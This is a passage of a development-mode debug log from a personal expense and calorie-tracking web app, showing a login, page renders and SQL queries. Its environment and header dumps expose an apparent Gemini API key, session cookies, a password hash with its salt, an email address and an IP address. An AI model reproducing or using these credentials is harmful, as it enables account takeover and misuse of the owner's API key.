    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '157.48.246.94',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T07:59:07.459Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-14T07:59:07.459Z server-connect:app Executing action step identify
2025-12-14T07:59:07.459Z server-connect:app options: { provider: 'security' }
2025-12-14T07:59:07.508Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-14T07:59:07.510Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-14T07:59:07.555Z server-connect:output identity: 1
2025-12-14T07:59:07.556Z server-connect:app Executing action step login
2025-12-14T07:59:07.556Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-14T07:59:07.557Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-14T07:59:07.602Z server-connect:output identity: 1
2025-12-14T07:59:07.602Z server-connect:app Executing action step restrict
2025-12-14T07:59:07.602Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T07:59:07.603Z server-connect:output restrict: undefined
2025-12-14T07:59:07.825Z server-connect:router Serving templateView /
2025-12-14T07:59:07.826Z server-connect:app Executing action step identify
2025-12-14T07:59:07.826Z server-connect:app options: { provider: 'security' }
2025-12-14T07:59:07.826Z server-connect:output identity: 1
2025-12-14T07:59:07.826Z server-connect:app Executing action step restrict
2025-12-14T07:59:07.826Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T07:59:07.827Z server-connect:output restrict: undefined
2025-12-14T07:59:07.827Z server-connect:app Executing action step restrict
2025-12-14T07:59:07.827Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T07:59:07.827Z server-connect:output restrict: undefined
2025-12-14T07:59:07.827Z server-connect:router Render template layouts/main
2025-12-14T07:59:07.827Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.246.94',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.246.94',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.246.94',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-14T07:59:08.701Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-14T07:59:08.702Z server-connect:app Executing action step identify
2025-12-14T07:59:08.702Z server-connect:app options: { provider: 'security' }
2025-12-14T07:59:08.702Z server-connect:output identity: 1
2025-12-14T07:59:08.702Z server-connect:app Executing action step restrict
2025-12-14T07:59:08.702Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T07:59:08.702Z server-connect:output restrict: undefined
2025-12-14T07:59:08.702Z server-connect:app Executing action step select
2025-12-14T07:59:08.703Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-14T07:59:08.706Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-14T07:59:08.713Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-14T07:59:08.716Z server-connect:app Executing action step identify
2025-12-14T07:59:08.716Z server-connect:app options: { provider: 'security' }
2025-12-14T07:59:08.716Z server-connect:output identity: 1
2025-12-14T07:59:08.717Z server-connect:app Executing action step restrict
2025-12-14T07:59:08.717Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T07:59:08.717Z server-connect:output restrict: undefined
2025-12-14T07:59:08.717Z server-connect:app Executing action step single
2025-12-14T07:59:08.717Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-14T07:59:08.718Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-14T07:59:24.186Z server-connect:router Serving templateView /calorie-tracker
2025-12-14T07:59:24.186Z server-connect:app Executing action step identify
2025-12-14T07:59:24.186Z server-connect:app options: { provider: 'security' }
2025-12-14T07:59:24.187Z server-connect:output identity: 1
2025-12-14T07:59:24.187Z server-connect:app Executing action step restrict
2025-12-14T07:59:24.187Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T07:59:24.187Z server-connect:output restrict: undefined
2025-12-14T07:59:24.187Z server-connect:router Render template calorie-tracker
2025-12-14T07:59:24.187Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.246.94',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.246.94',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.246.94',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-14T07:59:24.411Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-14T07:59:24.411Z server-connect:app Executing action step identify
2025-12-14T07:59:24.411Z server-connect:app options: { provider: 'security' }
2025-12-14T07:59:24.411Z server-connect:output identity: 1
2025-12-14T07:59:24.411Z server-connect:app Executing action step restrict
2025-12-14T07:59:24.411Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T07:59:24.412Z server-connect:output restrict: undefined
2025-12-14T07:59:24.412Z server-connect:app Executing action step single
2025-12-14T07:59:24.412Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-14T07:59:24.413Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-14T07:59:24.414Z server-connect:app Executing action step select
2025-12-14T07:59:24.414Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-14T07:59:24.415Z server-connect:output item_list: []
2025-12-14T07:59:24.415Z server-connect:app Executing action step setvalue
2025-12-14T07:59:24.415Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-14T07:59:24.415Z server-connect:output var_total: 0
2025-12-14T07:59:24.415Z server-connect:app Executing action step setvalue
2025-12-14T07:59:24.415Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-14T07:59:24.415Z server-connect:output var_consumed: 0
2025-12-14T07:59:24.415Z server-connect:app Executing action step setvalue
2025-12-14T07:59:24.415Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-14T07:59:24.415Z server-connect:output var_deficit: 2400
2025-12-14T07:59:24.415Z server-connect:app Executing action step custom
2025-12-14T07:59:24.415Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
